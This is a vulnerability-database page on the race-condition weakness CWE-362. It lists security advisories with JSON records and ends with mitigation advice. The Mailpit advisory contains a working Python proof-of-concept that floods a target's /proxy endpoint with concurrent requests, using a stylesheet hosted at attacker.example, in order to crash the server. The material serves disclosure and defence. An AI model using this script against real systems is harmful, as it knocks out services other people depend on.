Common Weakness Enumeration

CWE-362

Allowed-with-Review

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently.

2901 vulnerabilities reference this CWE, most recent first.

GHSA-W3G5-2848-2V8R

Vulnerability from github – Published: 2021-08-25 20:57 – Updated: 2021-08-24 18:04
VLAI
Summary
Data races in generator
Details

The Generator type is an iterable which uses a generator function that yields values. In affected versions of the crate, the provided function yielding values had no Send bounds despite the Generator itself implementing Send.

The generator function lacking a Send bound means that types that are dangerous to send across threads such as Rc could be sent as part of a generator, potentially leading to data races.

This flaw was fixed in commit f7d120a3b by enforcing that the generator function be bound by Send.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "generator"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-36471"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-08-18T20:33:21Z",
    "nvd_published_at": "2021-08-08T06:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The `Generator` type is an iterable which uses a generator function that yields\nvalues. In affected versions of the crate, the provided function yielding values\nhad no `Send` bounds despite the `Generator` itself implementing `Send`.\n\nThe generator function lacking a `Send` bound means that types that are\ndangerous to send across threads such as `Rc` could be sent as part of a\ngenerator, potentially leading to data races.\n\nThis flaw was fixed in commit [`f7d120a3b`](https://github.com/Xudong-Huang/generator-rs/commit/f7d120a3b724d06a7b623d0a4306acf8f78cb4f0)\nby enforcing that the generator function be bound by `Send`.",
  "id": "GHSA-w3g5-2848-2v8r",
  "modified": "2021-08-24T18:04:25Z",
  "published": "2021-08-25T20:57:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36471"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Xudong-Huang/generator-rs/issues/27"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Xudong-Huang/generator-rs/commit/f7d120a3b724d06a7b623d0a4306acf8f78cb4f0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Xudong-Huang/generator-rs"
    },
    {
      "type": "WEB",
      "url": "https://raw.githubusercontent.com/rustsec/advisory-db/main/crates/generator/RUSTSEC-2020-0151.md"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2020-0151.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Data races in generator"
}

GHSA-W3HG-M9HJ-8HR8

Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32
VLAI
Details

Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Runtime allows an unauthorized attacker to elevate privileges over a network.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-50460"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T18:17:51Z",
    "severity": "HIGH"
  },
  "details": "Concurrent execution using shared resource with improper synchronization (\u0027race condition\u0027) in Windows Runtime allows an unauthorized attacker to elevate privileges over a network.",
  "id": "GHSA-w3hg-m9hj-8hr8",
  "modified": "2026-07-14T18:32:25Z",
  "published": "2026-07-14T18:32:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50460"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50460"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W3J5-Q8F2-3CQQ

Vulnerability from github – Published: 2022-05-14 01:10 – Updated: 2025-09-02 22:30
VLAI
Summary
Concurrent Execution using Shared Resource with Improper Synchronization in Apache Tomcat
Details

A bug in the error handling of the send file code for the NIO HTTP connector in Apache Tomcat 9.0.0.M1 to 9.0.0.M13, 8.5.0 to 8.5.8, 8.0.0.RC1 to 8.0.39, 7.0.0 to 7.0.73 and 6.0.16 to 6.0.48 resulted in the current Processor object being added to the Processor cache multiple times. This in turn meant that the same Processor could be used for concurrent requests. Sharing a Processor can result in information leakage between requests including, not not limited to, session ID and the response body. The bug was first noticed in 8.5.x onwards where it appears the refactoring of the Connector code for 8.5.x onwards made it more likely that the bug was observed. Initially it was thought that the 8.5.x refactoring introduced the bug but further investigation has shown that the bug is present in all currently supported Tomcat versions.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.0.M13"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-util"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0.M1"
            },
            {
              "fixed": "9.0.0.M14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.5.8"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-util"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.5.0"
            },
            {
              "fixed": "8.5.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-util"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0-RC1"
            },
            {
              "fixed": "8.0.41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-util"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.75"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-util"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.0.16"
            },
            {
              "fixed": "6.0.50"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-8745"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-06T19:48:38Z",
    "nvd_published_at": "2017-08-10T22:29:00Z",
    "severity": "HIGH"
  },
  "details": "A bug in the error handling of the send file code for the NIO HTTP connector in Apache Tomcat 9.0.0.M1 to 9.0.0.M13, 8.5.0 to 8.5.8, 8.0.0.RC1 to 8.0.39, 7.0.0 to 7.0.73 and 6.0.16 to 6.0.48 resulted in the current Processor object being added to the Processor cache multiple times. This in turn meant that the same Processor could be used for concurrent requests. Sharing a Processor can result in information leakage between requests including, not not limited to, session ID and the response body. The bug was first noticed in 8.5.x onwards where it appears the refactoring of the Connector code for 8.5.x onwards made it more likely that the bug was observed. Initially it was thought that the 8.5.x refactoring introduced the bug but further investigation has shown that the bug is present in all currently supported Tomcat versions.",
  "id": "GHSA-w3j5-q8f2-3cqq",
  "modified": "2025-09-02T22:30:26Z",
  "published": "2022-05-14T01:10:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-8745"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/143bb466cf96a89e791b7db5626055ea819dad89"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/16a57bc885e212839f1d717b94b01d154a36943a"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/cbc9b18a845d3c8c053ac293dffda6c6c19dd92b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat80/commit/3dd2fec73e0de1edc1d3eb1c52a01255fdfc84e7"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:0455"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/b5e3f51d28cd5d9b1809f56594f2cf63dcd6a90429e16ea9f83bbedc%40%3Cdev.tomcat.apache.org%3E"
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    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201705-09"
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      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20180607-0002"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20200227165932/http://www.securityfocus.com/bid/94828"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20200517114357/http://www.securitytracker.com/id/1037432"
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      "url": "https://access.redhat.com/errata/RHSA-2017:0456"
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      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:0935"
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      "url": "https://github.com/apache/tomcat"
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    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/343558d982879bf88ec20dbf707f8c11255f8e219e81d45c4f8d0551%40%3Cdev.tomcat.apache.org%3E"
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      "url": "https://lists.apache.org/thread.html/88855876c33f2f9c532ffb75bfee570ccf0b17ffa77493745af9a17a@%3Cdev.tomcat.apache.org%3E"
    },
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      "url": "http://rhn.redhat.com/errata/RHSA-2017-0527.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2017/dsa-3754"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2017/dsa-3755"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Concurrent Execution using Shared Resource with Improper Synchronization in Apache Tomcat"
}

GHSA-W3MR-7987-GX2P

Vulnerability from github – Published: 2022-05-13 01:40 – Updated: 2022-05-13 01:40
VLAI
Details

A elevation of privilege vulnerability in the Android media framework (libgui). Product: Android. Versions: 7.0, 7.1.1, 7.1.2. Android ID: A-33004354.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-0727"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-09T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "A elevation of privilege vulnerability in the Android media framework (libgui). Product: Android. Versions: 7.0, 7.1.1, 7.1.2. Android ID: A-33004354.",
  "id": "GHSA-w3mr-7987-gx2p",
  "modified": "2022-05-13T01:40:34Z",
  "published": "2022-05-13T01:40:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0727"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2017-08-01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/100204"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W3WX-X8M4-P4QJ

Vulnerability from github – Published: 2022-05-14 03:17 – Updated: 2022-05-14 03:17
VLAI
Details

Race condition in kernel/events/core.c in the Linux kernel before 4.9.7 allows local users to gain privileges via a crafted application that makes concurrent perf_event_open system calls for moving a software group into a hardware context. NOTE: this vulnerability exists because of an incomplete fix for CVE-2016-6786.

Severity
7.0 (High)
CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-6001"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-02-18T21:59:00Z",
    "severity": "HIGH"
  },
  "details": "Race condition in kernel/events/core.c in the Linux kernel before 4.9.7 allows local users to gain privileges via a crafted application that makes concurrent perf_event_open system calls for moving a software group into a hardware context.  NOTE: this vulnerability exists because of an incomplete fix for CVE-2016-6786.",
  "id": "GHSA-w3wx-x8m4-p4qj",
  "modified": "2022-05-14T03:17:31Z",
  "published": "2022-05-14T03:17:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6001"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/commit/321027c1fe77f892f4ea07846aeae08cefbbb290"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:1842"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2077"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2669"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1854"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1422825"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2017-11-01"
    },
    {
      "type": "WEB",
      "url": "http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=321027c1fe77f892f4ea07846aeae08cefbbb290"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2017/dsa-3791"
    },
    {
      "type": "WEB",
      "url": "http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.9.7"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2017/02/16/1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/96264"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4CR-XJRM-VRC8

Vulnerability from github – Published: 2022-10-12 12:00 – Updated: 2025-01-03 00:31
VLAI
Details

Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-22035, CVE-2022-24504, CVE-2022-30198, CVE-2022-33634, CVE-2022-38000, CVE-2022-41081.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-38047"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-11T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Windows Point-to-Point Tunneling Protocol Remote Code Execution Vulnerability. This CVE ID is unique from CVE-2022-22035, CVE-2022-24504, CVE-2022-30198, CVE-2022-33634, CVE-2022-38000, CVE-2022-41081.",
  "id": "GHSA-w4cr-xjrm-vrc8",
  "modified": "2025-01-03T00:31:08Z",
  "published": "2022-10-12T12:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38047"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-38047"
    },
    {
      "type": "WEB",
      "url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-38047"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4CX-53Q5-R77W

Vulnerability from github – Published: 2022-05-04 00:00 – Updated: 2022-05-11 00:01
VLAI
Details

In aee driver, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS06209201; Issue ID: ALPS06226345.

Severity
6.4 (Medium)
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-20091"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-03T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In aee driver, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS06209201; Issue ID: ALPS06226345.",
  "id": "GHSA-w4cx-53q5-r77w",
  "modified": "2022-05-11T00:01:42Z",
  "published": "2022-05-04T00:00:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20091"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/May-2022"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W4VJ-R5PG-3722

Vulnerability from github – Published: 2026-05-19 15:53 – Updated: 2026-05-19 15:53
VLAI
Summary
Mailpit: Concurrent map read & write in proxy CSS rewriter - remote unauth crash (fatal error: concurrent map read and map write)
Details

Summary

The screenshot/print proxy (/proxy?data=…) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go's runtime raises fatal error: concurrent map read and map write — a runtime.throw that is not recoverable by http.Server's handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.

Details

A remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=… requests against the same message's CSS URL. Mailpit's defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.

Affected code server/handlers/proxy.go:198-229 server/handlers/proxy.go:52-66 server/handlers/proxy.go:244-313

Go's map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw("concurrent map read and map write") — throw is not caught by defer recover and is not caught by http.Server's handler-panic guard. The process exits with a stack trace.

PoC

  1. Deposit any message with a in the store (SMTP or /api/v1/send, both unauthenticated by default).
  2. Make a few hundred concurrent requests to /proxy?data=base64(:https://attacker.example/big.css) — the attacker's big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.

Skeleton (set --allow-internal-http-requests only if you're testing locally — internal IPs are blocked by safeDialContext in production, which is correct):

# proxy-race.py
import socket, threading, base64, sys

ID = sys.argv[1]                                   # 22-char shortuuid
CSS = "https://attacker.example/big.css"
TOKEN = base64.b64encode(f"{ID}:{CSS}".encode()).decode()

req = (
    f"GET /proxy?data={TOKEN} HTTP/1.1\r\n"
    f"Host: target:8025\r\n"
    f"Connection: close\r\n\r\n"
).encode()

def hit():
    try:
        s = socket.create_connection(("target", 8025), timeout=10)
        s.sendall(req)
        while s.recv(8192): pass
        s.close()
    except Exception: pass

for _ in range(50):                                # 50 rounds
    ts = [threading.Thread(target=hit) for _ in range(300)]
    for t in ts: t.start()
    for t in ts: t.join()

When the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine's assets[id] = result write, Go's runtime emits:

fatal error: concurrent map read and map write

goroutine 123 [running]:
runtime.throw(...)
github.com/axllent/mailpit/server/handlers.ProxyHandler(...)
        server/handlers/proxy.go:216
...

…and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.

Impact

Unauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/axllent/mailpit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45712"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:53:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe screenshot/print proxy (/proxy?data=\u2026) maintains a package-level assets map[string]MessageAssets cache, but reads the map without holding assetsMutex while a long-running cleanup goroutine and (re-entrant) CSS-rewriting code path concurrently write to it under the lock. When the unsynchronized read coincides with a synchronized write, Go\u0027s runtime raises fatal error: concurrent map read and map write \u2014 a runtime.throw that is not recoverable by http.Server\u0027s handler-panic recover. The whole Mailpit process exits, taking the SMTP, POP3 and HTTP listeners down with it.\n\n### Details\nA remote, unauthenticated attacker who can (1) reach /proxy and (2) plant any message with a stylesheet link in the inbox can crash Mailpit by issuing concurrent /proxy?data=\u2026 requests against the same message\u0027s CSS URL. Mailpit\u0027s defaults make both prerequisites trivial: the SMTP listener accepts mail anonymously, the HTTP listener accepts requests anonymously, and the cleanup goroutine fires every minute regardless of whether the map is being read.\n\nAffected code\n[server/handlers/proxy.go:198-229](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L198-L229)\n[server/handlers/proxy.go:52-66](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L52-L66)\n[server/handlers/proxy.go:244-313](https://github.com/axllent/mailpit/blob/develop/server/handlers/proxy.go#L244-L313) \n\nGo\u0027s map runtime sets a hashWriting flag at the start of any write op. Concurrent map reads check the flag and call throw(\"concurrent map read and map write\") \u2014 throw is not caught by defer recover and is not caught by http.Server\u0027s handler-panic guard. The process exits with a stack trace.\n\n### PoC\n1. Deposit any message with a \u003clink rel=\"stylesheet\" href=\"https://attacker.example/big.css\"\u003e in the store (SMTP or /api/v1/send, both unauthenticated by default).\n2. Make a few hundred concurrent requests to /proxy?data=base64(\u003cid\u003e:https://attacker.example/big.css) \u2014 the attacker\u0027s big.css should be ~50 MiB and contain thousands of url(...) entries so each request spends time iterating the rewriter loop and touching assets[id] repeatedly.\n\nSkeleton (set --allow-internal-http-requests only if you\u0027re testing locally \u2014 internal IPs are blocked by safeDialContext in production, which is correct):\n\n```\n# proxy-race.py\nimport socket, threading, base64, sys\n\nID = sys.argv[1]                                   # 22-char shortuuid\nCSS = \"https://attacker.example/big.css\"\nTOKEN = base64.b64encode(f\"{ID}:{CSS}\".encode()).decode()\n\nreq = (\n    f\"GET /proxy?data={TOKEN} HTTP/1.1\\r\\n\"\n    f\"Host: target:8025\\r\\n\"\n    f\"Connection: close\\r\\n\\r\\n\"\n).encode()\n\ndef hit():\n    try:\n        s = socket.create_connection((\"target\", 8025), timeout=10)\n        s.sendall(req)\n        while s.recv(8192): pass\n        s.close()\n    except Exception: pass\n\nfor _ in range(50):                                # 50 rounds\n    ts = [threading.Thread(target=hit) for _ in range(300)]\n    for t in ts: t.start()\n    for t in ts: t.join()\n```\n\nWhen the unlocked read at line 216 happens during a delete() from the cleanup goroutine, or during another goroutine\u0027s assets[id] = result write, Go\u0027s runtime emits:\n\n```\nfatal error: concurrent map read and map write\n\ngoroutine 123 [running]:\nruntime.throw(...)\ngithub.com/axllent/mailpit/server/handlers.ProxyHandler(...)\n        server/handlers/proxy.go:216\n...\n```\n\n\u2026and the process exits. Building Mailpit with go build -race produces a deterministic WARNING: DATA RACE trace at the same line under the same workload, confirming the access pattern is racy even without timing-based crash demonstration.\n\n### Impact\nUnauthenticated remote attacker can trigger a concurrent map access crash in /proxy, causing a fatal runtime panic and full Mailpit process termination (DoS).",
  "id": "GHSA-w4vj-r5pg-3722",
  "modified": "2026-05-19T15:53:52Z",
  "published": "2026-05-19T15:53:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-w4vj-r5pg-3722"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axllent/mailpit"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/releases/tag/v1.30.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mailpit: Concurrent map read \u0026 write in proxy CSS rewriter - remote unauth crash (fatal error: concurrent map read and map write)"
}

GHSA-W54G-XV2P-9W2Q

Vulnerability from github – Published: 2022-05-11 00:01 – Updated: 2022-05-18 00:00
VLAI
Details

In ion_ioctl and related functions of ion.c, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-205707793References: N/A

Severity
7.0 (High)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-20118"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-05-10T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "In ion_ioctl and related functions of ion.c, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android kernelAndroid ID: A-205707793References: N/A",
  "id": "GHSA-w54g-xv2p-9w2q",
  "modified": "2022-05-18T00:00:48Z",
  "published": "2022-05-11T00:01:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20118"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2022-05-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W56W-PR39-4M9H

Vulnerability from github – Published: 2025-09-09 18:31 – Updated: 2025-09-09 18:31
VLAI
Details

Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Win32K - GRFX allows an authorized attacker to execute code locally.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-55224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T17:16:05Z",
    "severity": "HIGH"
  },
  "details": "Concurrent execution using shared resource with improper synchronization (\u0027race condition\u0027) in Windows Win32K - GRFX allows an authorized attacker to execute code locally.",
  "id": "GHSA-w56w-pr39-4m9h",
  "modified": "2025-09-09T18:31:23Z",
  "published": "2025-09-09T18:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55224"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55224"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Mitigation
Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

Mitigation
Architecture and Design
  • Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.
  • Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
Mitigation
Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

Mitigation
Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Mitigation
Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Mitigation
Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Mitigation
Implementation

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Mitigation
Implementation

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

